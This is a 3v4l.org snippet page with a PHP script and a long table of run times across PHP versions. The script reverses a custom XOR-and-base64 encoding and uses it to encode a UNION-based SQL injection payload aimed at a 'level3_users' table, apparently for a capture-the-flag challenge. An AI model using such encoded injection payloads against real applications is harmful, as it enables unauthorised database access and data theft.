3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' union all select 1,2,3,user(),5,6,7 from level3_users--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00418.68
8.3.50.0090.01121.20
8.3.40.0040.01119.06
8.3.30.0070.00720.34
8.3.20.0060.00319.02
8.3.10.0080.00021.08
8.3.00.0040.00423.56
8.2.180.0110.01116.63
8.2.170.0110.00322.96
8.2.160.0070.00720.52
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0030.00519.61
8.2.110.0110.00020.37
8.2.100.0000.01118.16
8.2.90.0030.00619.15
8.2.80.0050.00319.25
8.2.70.0060.00317.88
8.2.60.0000.00818.05
8.2.50.0040.00418.07
8.2.40.0090.00019.72
8.2.30.0000.00819.43
8.2.20.0040.00417.81
8.2.10.0080.00017.91
8.2.00.0040.00417.80
8.1.280.0110.00325.92
8.1.270.0050.00323.99
8.1.260.0040.00426.35
8.1.250.0060.00328.09
8.1.240.0040.00423.92
8.1.230.0080.00420.98
8.1.220.0040.00418.77
8.1.210.0090.00019.02
8.1.200.0060.00317.37
8.1.190.0040.00417.66
8.1.180.0090.00018.10
8.1.170.0050.00318.77
8.1.160.0030.00618.90
8.1.150.0000.00718.79
8.1.140.0080.00017.64
8.1.130.0000.00817.84
8.1.120.0000.00717.53
8.1.110.0040.00417.66
8.1.100.0040.00417.66
8.1.90.0040.00417.66
8.1.80.0000.00717.52
8.1.70.0000.00717.60
8.1.60.0030.00517.82
8.1.50.0040.00417.71
8.1.40.0050.00317.75
8.1.30.0080.00017.79
8.1.20.0050.00317.84
8.1.10.0030.00517.63
8.1.00.0000.00817.70
8.0.300.0090.00020.02
8.0.290.0000.00817.30
8.0.280.0040.00418.52
8.0.270.0070.00017.21
8.0.260.0040.00416.87
8.0.250.0000.00817.09
8.0.240.0030.00617.13
8.0.230.0000.00717.10
8.0.220.0070.00016.98
8.0.210.0000.00817.09
8.0.200.0030.00317.10
8.0.190.0040.00417.17
8.0.180.0000.00817.07
8.0.170.0000.00817.10
8.0.160.0070.00017.05
8.0.150.0000.00717.05
8.0.140.0000.00716.91
8.0.130.0050.00013.51
8.0.120.0030.00617.02
8.0.110.0000.00717.08
8.0.100.0080.00016.94
8.0.90.0050.00317.13
8.0.80.0070.01017.05
8.0.70.0080.00016.94
8.0.60.0000.00717.09
8.0.50.0000.00716.87
8.0.30.0120.01017.33
8.0.20.0120.00717.40
8.0.10.0040.00417.25
8.0.00.0100.00716.80
7.4.330.0000.00514.93
7.4.320.0040.00416.70
7.4.300.0060.00016.75
7.4.290.0080.00316.76
7.4.280.0030.00516.69
7.4.270.0030.00316.82
7.4.260.0030.00313.52
7.4.250.0100.00016.72
7.4.240.0070.00016.64
7.4.230.0030.00316.55
7.4.220.0060.01316.67
7.4.210.0090.00916.80
7.4.200.0050.00216.82
7.4.190.0000.00816.93
7.4.160.0130.00316.76
7.4.150.0060.01217.40
7.4.140.0150.00617.86
7.4.130.0230.01516.82
7.4.120.0100.00816.79
7.4.110.0120.00616.54
7.4.100.0040.01516.75
7.4.90.0130.01016.63
7.4.80.0060.01219.39
7.4.70.0160.00016.71
7.4.60.0130.00616.58
7.4.50.0060.00316.61
7.4.40.0110.00422.77
7.4.30.0070.01016.72
7.4.00.0030.01214.76
7.3.330.0060.00013.49
7.3.320.0030.00313.35
7.3.310.0000.00716.55
7.3.300.0000.00816.54
7.3.290.0080.01216.52
7.3.280.0090.00716.53
7.3.270.0130.00917.40
7.3.260.0130.01018.24
7.3.250.0120.00816.62
7.3.240.0030.01416.96
7.3.230.0110.00616.86
7.3.210.0090.00916.97
7.3.200.0130.00519.39
7.3.190.0120.00616.48
7.3.180.0070.01316.63
7.3.170.0080.00816.72
7.3.160.0130.00916.77
7.3.120.0000.01515.41
7.2.330.0120.00616.92
7.2.320.0090.01216.81
7.2.310.0130.00616.91
7.2.300.0030.01317.00
7.2.290.0060.01116.92
7.2.00.0000.01519.56
7.1.200.0030.00716.16
7.1.100.0000.01618.55
7.1.70.0030.00717.41
7.1.60.0120.01219.17
7.1.50.0130.01317.18
7.1.00.0000.03722.30
7.0.200.0100.00316.89
7.0.140.0100.06321.94
7.0.60.0100.08021.72
7.0.50.0100.04317.91
7.0.40.0130.05320.11
7.0.30.0300.07320.18
7.0.20.0270.07020.25
7.0.10.0070.08320.18
7.0.00.0030.04720.23
5.6.210.0200.05320.51
5.6.200.0030.09018.25
5.6.190.0100.04320.52
5.6.180.0300.04020.49
5.6.170.0230.08020.45
5.6.160.0070.05320.60
5.6.150.0070.05718.19
5.6.140.0070.06718.18
5.6.130.0030.08318.16
5.6.120.0000.04321.05
5.6.110.0100.06721.04
5.6.100.0130.08321.13
5.6.90.0030.08321.09
5.6.80.0030.04020.39
5.5.350.0130.08720.39
5.5.340.0100.07717.96
5.5.330.0130.04320.13
5.5.320.0330.04720.27
5.5.310.0330.07320.23
5.5.300.0000.07318.07
5.5.290.0030.08318.04
5.5.280.0000.04720.80
5.5.270.0130.06720.78
5.5.260.0100.08320.80
5.5.250.0100.08320.50
5.5.240.0230.07320.20
5.4.450.3100.04319.54
5.4.440.2700.05319.37
5.4.430.3870.04019.29
5.4.420.3930.04319.37
5.4.410.3930.03319.41
5.4.400.3900.03719.15
5.4.390.3530.03319.18
5.4.380.3900.03719.22
5.4.370.3670.03019.00
5.4.360.4730.03319.01
5.4.350.3600.04019.10
5.4.340.3700.04019.06
5.4.320.4130.03019.20
5.4.310.3930.03018.99
5.4.300.4300.04019.17
5.4.290.4370.03719.22
5.4.280.4000.03019.14
5.4.270.4600.03718.92
5.4.260.3770.04019.22
5.4.250.3800.03019.04
5.4.240.4100.04018.97
5.4.230.3900.03719.10
5.4.220.3930.04019.10
5.4.210.3870.03719.10
5.4.200.3800.03719.23
5.4.190.4070.04719.12
5.4.180.3830.03318.95
5.4.170.3900.03318.94
5.4.160.3730.03719.15
5.4.150.3730.03719.09
5.4.140.3800.03016.45
5.4.130.4030.03316.55
5.4.120.3570.02716.49
5.4.110.5000.04316.50
5.4.100.3670.04016.54
5.4.90.4270.04316.53
5.4.80.3930.03716.48
5.4.70.4000.03316.55
5.4.60.3700.03316.46
5.4.50.3630.03316.46
5.4.40.3970.03716.39
5.4.30.3600.04016.19
5.4.20.3970.04016.49
5.4.10.3930.03716.29
5.4.00.3970.03315.72
5.3.290.4000.03714.68
5.3.280.4670.03314.61
5.3.270.3670.04014.76
5.3.260.4300.05014.62
5.3.250.4000.03314.50
5.3.240.3800.02714.66
5.3.230.3670.04014.53
5.3.220.3700.03714.65
5.3.210.3870.04014.60
5.3.200.3930.03314.59
5.3.190.3670.04014.59
5.3.180.3970.03714.63
5.3.170.3900.03714.63
5.3.160.3600.04014.56
5.3.150.3730.03314.58
5.3.140.4100.03714.45
5.3.130.3670.04014.57
5.3.120.4070.03014.61
5.3.110.4200.05014.59
5.3.100.3400.03014.07
5.3.90.1730.04014.08
5.3.80.0070.07314.05
5.3.70.0100.07014.11
5.3.60.0330.04013.98
5.3.50.4130.04014.11
5.3.40.3900.03713.91
5.3.30.3670.04013.91
5.3.20.3930.03313.74
5.3.10.3700.03013.61
5.3.00.3770.03013.70
5.2.170.3270.03311.15
5.2.160.3100.03011.17
5.2.150.3370.03711.05
5.2.140.3370.03011.15
5.2.130.3400.02711.16
5.2.120.3370.02711.19
5.2.110.3370.02711.18
5.2.100.3500.03011.09
5.2.90.3130.02711.07
5.2.80.3200.02711.07
5.2.70.3100.03311.07
5.2.60.3770.03011.11
5.2.50.3970.02011.02
5.2.40.3300.03011.06
5.2.30.1100.02710.95
5.2.20.0070.05710.97
5.2.10.0030.03310.76
5.2.00.0070.03310.78
5.1.60.2930.0239.93
5.1.50.3170.02710.00
5.1.40.3100.0279.95
5.1.30.2200.05010.30
5.1.20.2500.03010.50
5.1.10.2230.0239.99
5.1.00.2770.03310.06
5.0.50.1170.0238.47
5.0.40.1200.0208.38
5.0.30.1270.0308.40
5.0.20.1230.0208.14
5.0.10.1500.0238.16
5.0.00.1800.0308.16
4.4.90.1230.0136.00
4.4.80.1630.0206.00
4.4.70.0000.0276.00
4.4.60.0000.0206.00
4.4.50.0070.0176.00
4.4.40.1730.0236.00
4.4.30.1430.0176.00
4.4.20.1470.0136.00
4.4.10.1470.0206.00
4.4.00.1500.0276.00
4.3.110.1200.0176.00
4.3.100.1370.0136.00
4.3.90.1230.0176.00
4.3.80.1500.0206.00
4.3.70.1230.0176.00
4.3.60.1630.0136.00
4.3.50.1230.0136.00
4.3.40.1370.0276.00
4.3.30.0600.0136.00
4.3.20.0800.0276.00
4.3.10.0600.0176.00
4.3.00.0670.0206.00

preferences:
41.64 ms | 401 KiB | 5 Q